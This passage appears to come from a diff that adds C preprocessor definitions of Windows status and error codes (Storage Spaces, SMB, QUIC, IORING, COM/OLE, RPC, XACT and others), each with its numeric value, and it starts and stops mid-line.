STATUS_SPACES_NUMBER_OF_GROUPS_INVALID -1058602991 +#define STATUS_SPACES_DRIVE_OPERATIONAL_STATE_INVALID -1058602990 +#define STATUS_SPACES_UPDATE_COLUMN_STATE -1058602989 +#define STATUS_SPACES_MAP_REQUIRED -1058602988 +#define STATUS_SPACES_UNSUPPORTED_VERSION -1058602987 +#define STATUS_SPACES_CORRUPT_METADATA -1058602986 +#define STATUS_SPACES_DRT_FULL -1058602985 +#define STATUS_SPACES_INCONSISTENCY -1058602984 +#define STATUS_SPACES_LOG_NOT_READY -1058602983 +#define STATUS_SPACES_NO_REDUNDANCY -1058602982 +#define STATUS_SPACES_DRIVE_NOT_READY -1058602981 +#define STATUS_SPACES_DRIVE_SPLIT -1058602980 +#define STATUS_SPACES_DRIVE_LOST_DATA -1058602979 +#define STATUS_SPACES_ENTRY_INCOMPLETE -1058602978 +#define STATUS_SPACES_ENTRY_INVALID -1058602977 +#define STATUS_SPACES_MARK_DIRTY -1058602976 +#define STATUS_SPACES_PD_NOT_FOUND -1058602975 +#define STATUS_SPACES_PD_LENGTH_MISMATCH -1058602974 +#define STATUS_SPACES_PD_UNSUPPORTED_VERSION -1058602973 +#define STATUS_SPACES_PD_INVALID_DATA -1058602972 +#define STATUS_SPACES_FLUSH_METADATA -1058602971 +#define STATUS_SPACES_CACHE_FULL -1058602970 +#define STATUS_SPACES_REPAIR_IN_PROGRESS -1058602969 +#define STATUS_VOLSNAP_BOOTFILE_NOT_VALID -1068498941 +#define STATUS_VOLSNAP_ACTIVATION_TIMEOUT -1068498940 +#define STATUS_VOLSNAP_NO_BYPASSIO_WITH_SNAPSHOT -1068498939 +#define STATUS_IO_PREEMPTED -1068433407 +#define STATUS_SVHDX_ERROR_STORED -1067712512 +#define STATUS_SVHDX_ERROR_NOT_AVAILABLE -1067647232 +#define STATUS_SVHDX_UNIT_ATTENTION_AVAILABLE -1067647231 +#define STATUS_SVHDX_UNIT_ATTENTION_CAPACITY_DATA_CHANGED -1067647230 +#define STATUS_SVHDX_UNIT_ATTENTION_RESERVATIONS_PREEMPTED -1067647229 +#define STATUS_SVHDX_UNIT_ATTENTION_RESERVATIONS_RELEASED -1067647228 +#define STATUS_SVHDX_UNIT_ATTENTION_REGISTRATIONS_PREEMPTED -1067647227 +#define STATUS_SVHDX_UNIT_ATTENTION_OPERATING_DEFINITION_CHANGED -1067647226 +#define STATUS_SVHDX_RESERVATION_CONFLICT -1067647225 +#define STATUS_SVHDX_WRONG_FILE_TYPE -1067647224 +#define STATUS_SVHDX_VERSION_MISMATCH -1067647223 +#define STATUS_VHD_SHARED -1067647222 +#define STATUS_SVHDX_NO_INITIATOR -1067647221 +#define STATUS_VHDSET_BACKING_STORAGE_NOT_FOUND -1067647220 +#define STATUS_SMB_NO_PREAUTH_INTEGRITY_HASH_OVERLAP -1067646976 +#define STATUS_SMB_BAD_CLUSTER_DIALECT -1067646975 +#define STATUS_SMB_GUEST_LOGON_BLOCKED -1067646974 +#define STATUS_SMB_NO_SIGNING_ALGORITHM_OVERLAP -1067646973 +#define STATUS_NETWORK_AUTHENTICATION_PROMPT_CANCELED -1067646972 +#define STATUS_REMOTE_MAILSLOTS_DEPRECATED -1067646971 +#define STATUS_SMB_GUEST_LOGON_BLOCKED_SIGNING_REQUIRED -1067646970 +#define STATUS_SMB_GUEST_ENCRYPTION_NOT_SUPPORTED -1067646969 +#define STATUS_SMB_ENCRYPTION_NOT_SUPPORTED_BY_PEER -1067646968 +#define STATUS_SMB_TLS_ACCESS_DENIED -1067646967 +#define STATUS_SECCORE_INVALID_COMMAND -1058537472 +#define STATUS_VSM_NOT_INITIALIZED -1069219840 +#define STATUS_VSM_DMA_PROTECTION_NOT_IN_USE -1069219839 +#define STATUS_VSM_KEY_CI_POLICY_ROLLBACK_DETECTED -1069219838 +#define STATUS_VSMIDK_KEYGEN_FAILURE -1069219837 +#define STATUS_VSMIDK_EXPORT_FAILURE -1069219836 +#define STATUS_VSMIDK_MODULUS_MISMATCH -1069219835 +#define STATUS_APPEXEC_CONDITION_NOT_SATISFIED -1058275328 +#define STATUS_APPEXEC_HANDLE_INVALIDATED -1058275327 +#define STATUS_APPEXEC_INVALID_HOST_GENERATION -1058275326 +#define STATUS_APPEXEC_UNEXPECTED_PROCESS_REGISTRATION -1058275325 +#define STATUS_APPEXEC_INVALID_HOST_STATE -1058275324 +#define STATUS_APPEXEC_NO_DONOR -1058275323 +#define STATUS_APPEXEC_HOST_ID_MISMATCH -1058275322 +#define STATUS_APPEXEC_UNKNOWN_USER -1058275321 +#define STATUS_APPEXEC_APP_COMPAT_BLOCK -1058275320 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT -1058275319 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT_TERMINATION -1058275318 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT_LICENSING -1058275317 +#define STATUS_APPEXEC_CALLER_WAIT_TIMEOUT_RESOURCES -1058275316 +#define STATUS_QUIC_HANDSHAKE_FAILURE -1071382528 +#define STATUS_QUIC_VER_NEG_FAILURE -1071382527 +#define STATUS_QUIC_USER_CANCELED -1071382526 +#define STATUS_QUIC_INTERNAL_ERROR -1071382525 +#define STATUS_QUIC_PROTOCOL_VIOLATION -1071382524 +#define STATUS_QUIC_CONNECTION_IDLE -1071382523 +#define STATUS_QUIC_CONNECTION_TIMEOUT -1071382522 +#define STATUS_QUIC_ALPN_NEG_FAILURE -1071382521 +#define STATUS_QUIC_STREAM_LIMIT_REACHED -1071382520 +#define STATUS_QUIC_ALPN_IN_USE -1071382519 +#define STATUS_QUIC_TLS_UNEXPECTED_MESSAGE -1071382262 +#define STATUS_QUIC_TLS_BAD_CERTIFICATE -1071382230 +#define STATUS_QUIC_TLS_UNSUPPORTED_CERTIFICATE -1071382229 +#define STATUS_QUIC_TLS_CERTIFICATE_REVOKED -1071382228 +#define STATUS_QUIC_TLS_CERTIFICATE_EXPIRED -1071382227 +#define STATUS_QUIC_TLS_CERTIFICATE_UNKNOWN -1071382226 +#define STATUS_QUIC_TLS_ILLEGAL_PARAMETER -1071382225 +#define STATUS_QUIC_TLS_UNKNOWN_CA -1071382224 +#define STATUS_QUIC_TLS_ACCESS_DENIED -1071382223 +#define STATUS_QUIC_TLS_INSUFFICIENT_SECURITY -1071382201 +#define STATUS_QUIC_TLS_INTERNAL_ERROR -1071382192 +#define STATUS_QUIC_TLS_USER_CANCELED -1071382182 +#define STATUS_QUIC_TLS_CERTIFICATE_REQUIRED -1071382156 +#define STATUS_IORING_REQUIRED_FLAG_NOT_SUPPORTED -1069154303 +#define STATUS_IORING_SUBMISSION_QUEUE_FULL -1069154302 +#define STATUS_IORING_VERSION_NOT_SUPPORTED -1069154301 +#define STATUS_IORING_SUBMISSION_QUEUE_TOO_BIG -1069154300 +#define STATUS_IORING_COMPLETION_QUEUE_TOO_BIG -1069154299 +#define STATUS_IORING_SUBMIT_IN_PROGRESS -1069154298 +#define STATUS_IORING_CORRUPT -1069154297 +#define STATUS_IORING_COMPLETION_QUEUE_TOO_FULL -1069154296 +#define STATUS_PRM_HANDLER_NOT_FOUND -1058143744 +#define STATUS_PRM_CONCURRENT_OPERATION -1058143742 +#define STATUS_PRM_MODULE_UPDATE_PENDING -1058143741 +#define STATUS_PRM_MODULE_LOCKED -1058143740 +#define STATUS_PRM_UPDATE_INCOMPATIBLE_VERSION -1058143739 +#define STATUS_PRM_UPDATE_MODULE_MISMATCH -1058143738 +#define STATUS_PRM_UPDATE_MODULE_NOT_FOUND -1058143737 +#define STATUS_PRM_UPDATE_MISSING_EXPORT -1058143736 +#define STATUS_PRM_UPDATE_MODULE_LOCKED -1058143735 +#define STATUS_PRM_UPDATE_BAD_SIGNATURE -1058143734 +#define STATUS_PRM_UPDATE_VERSION_MISMATCH -1058143733 +#define STATUS_PRM_MODULE_UNLOCKED -1058143732 +#define STATUS_PRM_INTERFACE_INACCESSIBLE -1058143731 +#define STATUS_ACCELERATOR_SUBMISSION_QUEUE_FULL -1058078719 +#define STATUS_AAD_CLOUDAP_E_APNONCE_INVALID -1073445552 +#define STATUS_AAD_CLOUDAP_E_BAD_DEVICE_ACCESS_TOKEN_FORMAT -1073445551 +#define STATUS_AAD_CLOUDAP_E_ASSERTION_MALFORMED -1073445550 +#define STATUS_AAD_CLOUDAP_E_INVALID_TENANT -1073445549 +#define STATUS_AAD_CLOUDAP_E_INVALID_DEVICE -1073445548 +#define STATUS_AAD_CLOUDAP_E_INVALID_ACCESS_TOKEN -1073445546 +#define STATUS_AAD_CLOUDAP_E_INVALID_BINDING_KEY_ID -1073445545 +#define STATUS_AAD_CLOUDAP_E_CANT_FIND_ROOT_CERT -1073445543 +#define STATUS_AAD_CLOUDAP_E_ASSERTION_INVALID -1073445542 +#define STATUS_AAD_CLOUDAP_E_CALLER_MISMATCH -1073445541 +#define WINVER 0x500 +#define APP_LOCAL_DEVICE_ID_SIZE 0x20 +#define SEC_E_OK 0 +#define RPC_X_NO_MORE_ENTRIES 1772 +#define RPC_X_SS_CHAR_TRANS_OPEN_FAIL 1773 +#define RPC_X_SS_CHAR_TRANS_SHORT_FILE 1774 +#define RPC_X_SS_IN_NULL_CONTEXT 1775 +#define RPC_X_SS_CONTEXT_DAMAGED 1777 +#define RPC_X_SS_HANDLES_MISMATCH 1778 +#define RPC_X_SS_CANNOT_GET_CALL_HANDLE 1779 +#define RPC_X_NULL_REF_POINTER 1780 +#define RPC_X_ENUM_VALUE_OUT_OF_RANGE 1781 +#define RPC_X_BYTE_COUNT_TOO_SMALL 1782 +#define RPC_X_BAD_STUB_DATA 1783 +#define RPC_X_INVALID_ES_ACTION 1827 +#define RPC_X_WRONG_ES_VERSION 1828 +#define RPC_X_WRONG_STUB_VERSION 1829 +#define RPC_X_INVALID_PIPE_OBJECT 1830 +#define RPC_X_WRONG_PIPE_ORDER 1831 +#define RPC_X_WRONG_PIPE_VERSION 1832 +#define OR_INVALID_OXID 1910 +#define OR_INVALID_OID 1911 +#define OR_INVALID_SET 1912 +#define RPC_X_PIPE_CLOSED 1916 +#define RPC_X_PIPE_DISCIPLINE_ERROR 1917 +#define RPC_X_PIPE_EMPTY 1918 +#define PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED 4050 +#define PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO 4051 +#define PEERDIST_ERROR_MISSING_DATA 4052 +#define PEERDIST_ERROR_NO_MORE 4053 +#define PEERDIST_ERROR_NOT_INITIALIZED 4054 +#define PEERDIST_ERROR_ALREADY_INITIALIZED 4055 +#define PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS 4056 +#define PEERDIST_ERROR_INVALIDATED 4057 +#define PEERDIST_ERROR_ALREADY_EXISTS 4058 +#define PEERDIST_ERROR_OPERATION_NOTFOUND 4059 +#define PEERDIST_ERROR_ALREADY_COMPLETED 4060 +#define PEERDIST_ERROR_OUT_OF_BOUNDS 4061 +#define PEERDIST_ERROR_VERSION_UNSUPPORTED 4062 +#define PEERDIST_ERROR_INVALID_CONFIGURATION 4063 +#define PEERDIST_ERROR_NOT_LICENSED 4064 +#define PEERDIST_ERROR_SERVICE_UNAVAILABLE 4065 +#define PEERDIST_ERROR_TRUST_FAILURE 4066 +#define SCHED_E_SERVICE_NOT_LOCALSYSTEM 6200 +#define FRS_ERR_INVALID_API_SEQUENCE 8001 +#define FRS_ERR_STARTING_SERVICE 8002 +#define FRS_ERR_STOPPING_SERVICE 8003 +#define FRS_ERR_INTERNAL_API 8004 +#define FRS_ERR_INTERNAL 8005 +#define FRS_ERR_SERVICE_COMM 8006 +#define FRS_ERR_INSUFFICIENT_PRIV 8007 +#define FRS_ERR_AUTHENTICATION 8008 +#define FRS_ERR_PARENT_INSUFFICIENT_PRIV 8009 +#define FRS_ERR_PARENT_AUTHENTICATION 8010 +#define FRS_ERR_CHILD_TO_PARENT_COMM 8011 +#define FRS_ERR_PARENT_TO_CHILD_COMM 8012 +#define FRS_ERR_SYSVOL_POPULATE 8013 +#define FRS_ERR_SYSVOL_POPULATE_TIMEOUT 8014 +#define FRS_ERR_SYSVOL_IS_BUSY 8015 +#define FRS_ERR_SYSVOL_DEMOTE 8016 +#define FRS_ERR_INVALID_SERVICE_PARAMETER 8017 +#define DNS_INFO_NO_RECORDS 9501 +#define DNS_REQUEST_PENDING 9506 +#define DNS_STATUS_FQDN 9557 +#define DNS_STATUS_DOTTED_NAME 9558 +#define DNS_STATUS_SINGLE_PART_NAME 9559 +#define DNS_WARNING_PTR_CREATE_FAILED 9715 +#define DNS_WARNING_DOMAIN_UNDELETED 9716 +#define DNS_INFO_AXFR_COMPLETE 9751 +#define DNS_INFO_ADDED_LOCAL_WINS 9753 +#define DNS_STATUS_CONTINUE_NEEDED 9801 +#define WARNING_IPSEC_MM_POLICY_PRUNED 13024 +#define WARNING_IPSEC_QM_POLICY_PRUNED 13025 +#define STORE_ERROR_UNLICENSED 15861 +#define STORE_ERROR_UNLICENSED_USER 15862 +#define STORE_ERROR_PENDING_COM_TRANSACTION 15863 +#define STORE_ERROR_LICENSE_REVOKED 15864 +#define SEVERITY_SUCCESS 0x0 +#define SEVERITY_ERROR 0x1 +#define NOERROR 0x0 +#define E_UNEXPECTED -2147418113 +#define E_NOINTERFACE -2147467262 +#define E_POINTER -2147467261 +#define E_HANDLE -2147024890 +#define E_ABORT -2147467260 +#define E_ACCESSDENIED -2147024891 +#define E_BOUNDS -2147483637 +#define E_CHANGED_STATE -2147483636 +#define E_ILLEGAL_STATE_CHANGE -2147483635 +#define E_ILLEGAL_METHOD_CALL -2147483634 +#define RO_E_METADATA_NAME_NOT_FOUND -2147483633 +#define RO_E_METADATA_NAME_IS_NAMESPACE -2147483632 +#define RO_E_METADATA_INVALID_TYPE_FORMAT -2147483631 +#define RO_E_INVALID_METADATA_FILE -2147483630 +#define RO_E_CLOSED -2147483629 +#define RO_E_EXCLUSIVE_WRITE -2147483628 +#define RO_E_CHANGE_NOTIFICATION_IN_PROGRESS -2147483627 +#define RO_E_ERROR_STRING_NOT_FOUND -2147483626 +#define E_STRING_NOT_NULL_TERMINATED -2147483625 +#define E_ILLEGAL_DELEGATE_ASSIGNMENT -2147483624 +#define E_ASYNC_OPERATION_NOT_STARTED -2147483623 +#define E_APPLICATION_EXITING -2147483622 +#define E_APPLICATION_VIEW_EXITING -2147483621 +#define RO_E_MUST_BE_AGILE -2147483620 +#define RO_E_UNSUPPORTED_FROM_MTA -2147483619 +#define RO_E_COMMITTED -2147483618 +#define RO_E_BLOCKED_CROSS_ASTA_CALL -2147483617 +#define RO_E_CANNOT_ACTIVATE_FULL_TRUST_SERVER -2147483616 +#define RO_E_CANNOT_ACTIVATE_UNIVERSAL_APPLICATION_SERVER -2147483615 +#define CO_E_INIT_TLS -2147467258 +#define CO_E_INIT_SHARED_ALLOCATOR -2147467257 +#define CO_E_INIT_MEMORY_ALLOCATOR -2147467256 +#define CO_E_INIT_CLASS_CACHE -2147467255 +#define CO_E_INIT_RPC_CHANNEL -2147467254 +#define CO_E_INIT_TLS_SET_CHANNEL_CONTROL -2147467253 +#define CO_E_INIT_TLS_CHANNEL_CONTROL -2147467252 +#define CO_E_INIT_UNACCEPTED_USER_ALLOCATOR -2147467251 +#define CO_E_INIT_SCM_MUTEX_EXISTS -2147467250 +#define CO_E_INIT_SCM_FILE_MAPPING_EXISTS -2147467249 +#define CO_E_INIT_SCM_MAP_VIEW_OF_FILE -2147467248 +#define CO_E_INIT_SCM_EXEC_FAILURE -2147467247 +#define CO_E_INIT_ONLY_SINGLE_THREADED -2147467246 +#define CO_E_CANT_REMOTE -2147467245 +#define CO_E_BAD_SERVER_NAME -2147467244 +#define CO_E_WRONG_SERVER_IDENTITY -2147467243 +#define CO_E_OLE1DDE_DISABLED -2147467242 +#define CO_E_RUNAS_SYNTAX -2147467241 +#define CO_E_CREATEPROCESS_FAILURE -2147467240 +#define CO_E_RUNAS_CREATEPROCESS_FAILURE -2147467239 +#define CO_E_RUNAS_LOGON_FAILURE -2147467238 +#define CO_E_LAUNCH_PERMSSION_DENIED -2147467237 +#define CO_E_START_SERVICE_FAILURE -2147467236 +#define CO_E_REMOTE_COMMUNICATION_FAILURE -2147467235 +#define CO_E_SERVER_START_TIMEOUT -2147467234 +#define CO_E_CLSREG_INCONSISTENT -2147467233 +#define CO_E_IIDREG_INCONSISTENT -2147467232 +#define CO_E_NOT_SUPPORTED -2147467231 +#define CO_E_RELOAD_DLL -2147467230 +#define CO_E_MSI_ERROR -2147467229 +#define CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT -2147467228 +#define CO_E_SERVER_PAUSED -2147467227 +#define CO_E_SERVER_NOT_PAUSED -2147467226 +#define CO_E_CLASS_DISABLED -2147467225 +#define CO_E_CLRNOTAVAILABLE -2147467224 +#define CO_E_ASYNC_WORK_REJECTED -2147467223 +#define CO_E_SERVER_INIT_TIMEOUT -2147467222 +#define CO_E_NO_SECCTX_IN_ACTIVATE -2147467221 +#define CO_E_TRACKER_CONFIG -2147467216 +#define CO_E_THREADPOOL_CONFIG -2147467215 +#define CO_E_SXS_CONFIG -2147467214 +#define CO_E_MALFORMED_SPN -2147467213 +#define CO_E_UNREVOKED_REGISTRATION_ON_APARTMENT_SHUTDOWN -2147467212 +#define CO_E_PREMATURE_STUB_RUNDOWN -2147467211 +#define S_OK 0 +#define S_FALSE 1 +#define OLE_E_FIRST -2147221504 +#define OLE_E_LAST -2147221249 +#define OLE_S_FIRST 262144 +#define OLE_S_LAST 262399 +#define OLE_E_OLEVERB -2147221504 +#define OLE_E_ADVF -2147221503 +#define OLE_E_ENUM_NOMORE -2147221502 +#define OLE_E_ADVISENOTSUPPORTED -2147221501 +#define OLE_E_NOCONNECTION -2147221500 +#define OLE_E_NOTRUNNING -2147221499 +#define OLE_E_NOCACHE -2147221498 +#define OLE_E_BLANK -2147221497 +#define OLE_E_CLASSDIFF -2147221496 +#define OLE_E_CANT_GETMONIKER -2147221495 +#define OLE_E_CANT_BINDTOSOURCE -2147221494 +#define OLE_E_STATIC -2147221493 +#define OLE_E_PROMPTSAVECANCELLED -2147221492 +#define OLE_E_INVALIDRECT -2147221491 +#define OLE_E_WRONGCOMPOBJ -2147221490 +#define OLE_E_INVALIDHWND -2147221489 +#define OLE_E_NOT_INPLACEACTIVE -2147221488 +#define OLE_E_CANTCONVERT -2147221487 +#define OLE_E_NOSTORAGE -2147221486 +#define DV_E_FORMATETC -2147221404 +#define DV_E_DVTARGETDEVICE -2147221403 +#define DV_E_STGMEDIUM -2147221402 +#define DV_E_STATDATA -2147221401 +#define DV_E_LINDEX -2147221400 +#define DV_E_TYMED -2147221399 +#define DV_E_CLIPFORMAT -2147221398 +#define DV_E_DVASPECT -2147221397 +#define DV_E_DVTARGETDEVICE_SIZE -2147221396 +#define DV_E_NOIVIEWOBJECT -2147221395 +#define DRAGDROP_E_FIRST -2147221248 +#define DRAGDROP_E_LAST -2147221233 +#define DRAGDROP_S_FIRST 262400 +#define DRAGDROP_S_LAST 262415 +#define DRAGDROP_E_NOTREGISTERED -2147221248 +#define DRAGDROP_E_ALREADYREGISTERED -2147221247 +#define DRAGDROP_E_INVALIDHWND -2147221246 +#define DRAGDROP_E_CONCURRENT_DRAG_ATTEMPTED -2147221245 +#define CLASSFACTORY_E_FIRST -2147221232 +#define CLASSFACTORY_E_LAST -2147221217 +#define CLASSFACTORY_S_FIRST 262416 +#define CLASSFACTORY_S_LAST 262431 +#define CLASS_E_NOAGGREGATION -2147221232 +#define CLASS_E_CLASSNOTAVAILABLE -2147221231 +#define CLASS_E_NOTLICENSED -2147221230 +#define MARSHAL_E_FIRST -2147221216 +#define MARSHAL_E_LAST -2147221201 +#define MARSHAL_S_FIRST 262432 +#define MARSHAL_S_LAST 262447 +#define DATA_E_FIRST -2147221200 +#define DATA_E_LAST -2147221185 +#define DATA_S_FIRST 262448 +#define DATA_S_LAST 262463 +#define VIEW_E_FIRST -2147221184 +#define VIEW_E_LAST -2147221169 +#define VIEW_S_FIRST 262464 +#define VIEW_S_LAST 262479 +#define VIEW_E_DRAW -2147221184 +#define REGDB_E_FIRST -2147221168 +#define REGDB_E_LAST -2147221153 +#define REGDB_S_FIRST 262480 +#define REGDB_S_LAST 262495 +#define REGDB_E_READREGDB -2147221168 +#define REGDB_E_WRITEREGDB -2147221167 +#define REGDB_E_KEYMISSING -2147221166 +#define REGDB_E_INVALIDVALUE -2147221165 +#define REGDB_E_CLASSNOTREG -2147221164 +#define REGDB_E_IIDNOTREG -2147221163 +#define REGDB_E_BADTHREADINGMODEL -2147221162 +#define REGDB_E_PACKAGEPOLICYVIOLATION -2147221161 +#define CAT_E_FIRST -2147221152 +#define CAT_E_LAST -2147221151 +#define CAT_E_CATIDNOEXIST -2147221152 +#define CAT_E_NODESCRIPTION -2147221151 +#define CS_E_FIRST -2147221148 +#define CS_E_LAST -2147221137 +#define CS_E_PACKAGE_NOTFOUND -2147221148 +#define CS_E_NOT_DELETABLE -2147221147 +#define CS_E_CLASS_NOTFOUND -2147221146 +#define CS_E_INVALID_VERSION -2147221145 +#define CS_E_NO_CLASSSTORE -2147221144 +#define CS_E_OBJECT_NOTFOUND -2147221143 +#define CS_E_OBJECT_ALREADY_EXISTS -2147221142 +#define CS_E_INVALID_PATH -2147221141 +#define CS_E_NETWORK_ERROR -2147221140 +#define CS_E_ADMIN_LIMIT_EXCEEDED -2147221139 +#define CS_E_SCHEMA_MISMATCH -2147221138 +#define CS_E_INTERNAL_ERROR -2147221137 +#define CACHE_E_FIRST -2147221136 +#define CACHE_E_LAST -2147221121 +#define CACHE_S_FIRST 262512 +#define CACHE_S_LAST 262527 +#define CACHE_E_NOCACHE_UPDATED -2147221136 +#define OLEOBJ_E_FIRST -2147221120 +#define OLEOBJ_E_LAST -2147221105 +#define OLEOBJ_S_FIRST 262528 +#define OLEOBJ_S_LAST 262543 +#define OLEOBJ_E_NOVERBS -2147221120 +#define OLEOBJ_E_INVALIDVERB -2147221119 +#define CLIENTSITE_E_FIRST -2147221104 +#define CLIENTSITE_E_LAST -2147221089 +#define CLIENTSITE_S_FIRST 262544 +#define CLIENTSITE_S_LAST 262559 +#define INPLACE_E_NOTUNDOABLE -2147221088 +#define INPLACE_E_NOTOOLSPACE -2147221087 +#define INPLACE_E_FIRST -2147221088 +#define INPLACE_E_LAST -2147221073 +#define INPLACE_S_FIRST 262560 +#define INPLACE_S_LAST 262575 +#define ENUM_E_FIRST -2147221072 +#define ENUM_E_LAST -2147221057 +#define ENUM_S_FIRST 262576 +#define ENUM_S_LAST 262591 +#define CONVERT10_E_FIRST -2147221056 +#define CONVERT10_E_LAST -2147221041 +#define CONVERT10_S_FIRST 262592 +#define CONVERT10_S_LAST 262607 +#define CONVERT10_E_OLESTREAM_GET -2147221056 +#define CONVERT10_E_OLESTREAM_PUT -2147221055 +#define CONVERT10_E_OLESTREAM_FMT -2147221054 +#define CONVERT10_E_OLESTREAM_BITMAP_TO_DIB -2147221053 +#define CONVERT10_E_STG_FMT -2147221052 +#define CONVERT10_E_STG_NO_STD_STREAM -2147221051 +#define CONVERT10_E_STG_DIB_TO_BITMAP -2147221050 +#define CONVERT10_E_OLELINK_DISABLED -2147221049 +#define CLIPBRD_E_FIRST -2147221040 +#define CLIPBRD_E_LAST -2147221025 +#define CLIPBRD_S_FIRST 262608 +#define CLIPBRD_S_LAST 262623 +#define CLIPBRD_E_CANT_OPEN -2147221040 +#define CLIPBRD_E_CANT_EMPTY -2147221039 +#define CLIPBRD_E_CANT_SET -2147221038 +#define CLIPBRD_E_BAD_DATA -2147221037 +#define CLIPBRD_E_CANT_CLOSE -2147221036 +#define MK_E_FIRST -2147221024 +#define MK_E_LAST -2147221009 +#define MK_S_FIRST 262624 +#define MK_S_LAST 262639 +#define MK_E_CONNECTMANUALLY -2147221024 +#define MK_E_EXCEEDEDDEADLINE -2147221023 +#define MK_E_NEEDGENERIC -2147221022 +#define MK_E_UNAVAILABLE -2147221021 +#define MK_E_SYNTAX -2147221020 +#define MK_E_NOOBJECT -2147221019 +#define MK_E_INVALIDEXTENSION -2147221018 +#define MK_E_INTERMEDIATEINTERFACENOTSUPPORTED -2147221017 +#define MK_E_NOTBINDABLE -2147221016 +#define MK_E_NOTBOUND -2147221015 +#define MK_E_CANTOPENFILE -2147221014 +#define MK_E_MUSTBOTHERUSER -2147221013 +#define MK_E_NOINVERSE -2147221012 +#define MK_E_NOSTORAGE -2147221011 +#define MK_E_NOPREFIX -2147221010 +#define MK_E_ENUMERATION_FAILED -2147221009 +#define CO_E_FIRST -2147221008 +#define CO_E_LAST -2147220993 +#define CO_S_FIRST 262640 +#define CO_S_LAST 262655 +#define CO_E_ALREADYINITIALIZED -2147221007 +#define CO_E_CANTDETERMINECLASS -2147221006 +#define CO_E_CLASSSTRING -2147221005 +#define CO_E_IIDSTRING -2147221004 +#define CO_E_APPNOTFOUND -2147221003 +#define CO_E_APPSINGLEUSE -2147221002 +#define CO_E_ERRORINAPP -2147221001 +#define CO_E_DLLNOTFOUND -2147221000 +#define CO_E_ERRORINDLL -2147220999 +#define CO_E_WRONGOSFORAPP -2147220998 +#define CO_E_OBJNOTREG -2147220997 +#define CO_E_OBJISREG -2147220996 +#define CO_E_OBJNOTCONNECTED -2147220995 +#define CO_E_APPDIDNTREG -2147220994 +#define CO_E_RELEASED -2147220993 +#define EVENT_E_FIRST -2147220992 +#define EVENT_E_LAST -2147220961 +#define EVENT_S_FIRST 262656 +#define EVENT_S_LAST 262687 +#define EVENT_S_SOME_SUBSCRIBERS_FAILED 262656 +#define EVENT_E_ALL_SUBSCRIBERS_FAILED -2147220991 +#define EVENT_S_NOSUBSCRIBERS 262658 +#define EVENT_E_QUERYSYNTAX -2147220989 +#define EVENT_E_QUERYFIELD -2147220988 +#define EVENT_E_INTERNALEXCEPTION -2147220987 +#define EVENT_E_INTERNALERROR -2147220986 +#define EVENT_E_INVALID_PER_USER_SID -2147220985 +#define EVENT_E_USER_EXCEPTION -2147220984 +#define EVENT_E_TOO_MANY_METHODS -2147220983 +#define EVENT_E_MISSING_EVENTCLASS -2147220982 +#define EVENT_E_NOT_ALL_REMOVED -2147220981 +#define EVENT_E_COMPLUS_NOT_INSTALLED -2147220980 +#define EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT -2147220979 +#define EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT -2147220978 +#define EVENT_E_INVALID_EVENT_CLASS_PARTITION -2147220977 +#define EVENT_E_PER_USER_SID_NOT_LOGGED_ON -2147220976 +#define TPC_E_INVALID_PROPERTY -2147220927 +#define TPC_E_NO_DEFAULT_TABLET -2147220974 +#define TPC_E_UNKNOWN_PROPERTY -2147220965 +#define TPC_E_INVALID_INPUT_RECT -2147220967 +#define TPC_E_INVALID_STROKE -2147220958 +#define TPC_E_INITIALIZE_FAIL -2147220957 +#define TPC_E_NOT_RELEVANT -2147220942 +#define TPC_E_INVALID_PACKET_DESCRIPTION -2147220941 +#define TPC_E_RECOGNIZER_NOT_REGISTERED -2147220939 +#define TPC_E_INVALID_RIGHTS -2147220938 +#define TPC_E_OUT_OF_ORDER_CALL -2147220937 +#define TPC_E_QUEUE_FULL -2147220936 +#define TPC_E_INVALID_CONFIGURATION -2147220935 +#define TPC_E_INVALID_DATA_FROM_RECOGNIZER -2147220934 +#define TPC_S_TRUNCATED 262738 +#define TPC_S_INTERRUPTED 262739 +#define TPC_S_NO_DATA_TO_PROCESS 262740 +#define XACT_E_FIRST 0x8004d000 +#define XACT_E_LAST 0x8004d02b +#define XACT_S_FIRST 0x4d000 +#define XACT_S_LAST 0x4d010 +#define XACT_E_ALREADYOTHERSINGLEPHASE -2147168256 +#define XACT_E_CANTRETAIN -2147168255 +#define XACT_E_COMMITFAILED -2147168254 +#define XACT_E_COMMITPREVENTED -2147168253 +#define XACT_E_HEURISTICABORT -2147168252 +#define XACT_E_HEURISTICCOMMIT -2147168251 +#define XACT_E_HEURISTICDAMAGE -2147168250 +#define XACT_E_HEURISTICDANGER -2147168249 +#define XACT_E_ISOLATIONLEVEL -2147168248 +#define XACT_E_NOASYNC -2147168247 +#define XACT_E_NOENLIST -2147168246 +#define XACT_E_NOISORETAIN -2147168245 +#define XACT_E_NORESOURCE -2147168244 +#define XACT_E_NOTCURRENT -2147168243 +#define XACT_E_NOTRANSACTION -2147168242 +#define XACT_E_NOTSUPPORTED -2147168241 +#define XACT_E_UNKNOWNRMGRID -2147168240 +#define XACT_E_WRONGSTATE -2147168239 +#define XACT_E_WRONGUOW -2147168238 +#define XACT_E_XTIONEXISTS -2147168237 +#define XACT_E_NOIMPORTOBJECT -2147168236 +#define XACT_E_INVALIDCOOKIE -2147168235 +#define XACT_E_INDOUBT -2147168234 +#define XACT_E_NOTIMEOUT -2147168233 +#define XACT_E_ALREADYINPROGRESS -2147168232 +#define XACT_E_ABORTED -2147168231 +#define XACT_E_LOGFULL -2147168230 +#define XACT_E_TMNOTAVAILABLE -2147168229 +#define XACT_E_CONNECTION_DOWN -2147168228 +#define XACT_E_CONNECTION_DENIED -2147168227 +#define XACT_E_REENLISTTIMEOUT -2147168226 +#define XACT_E_TIP_CONNECT_FAILED -2147168225 +#define XACT_E_TIP_PROTOCOL_ERROR -2147168224 +#define XACT_E_TIP_PULL_FAILED -2147168223 +#define XACT_E_DEST_TMNOTAVAILABLE -2147168222 +#define XACT_E_TIP_DISABLED -2147168221 +#define XACT_E_NETWORK_TX_DISABLED -2147168220 +#define XACT_E_PARTNER_NETWORK_TX_DISABLED -2147168219 +#define XACT_E_XA_TX_DISABLED -2147168218 +#define 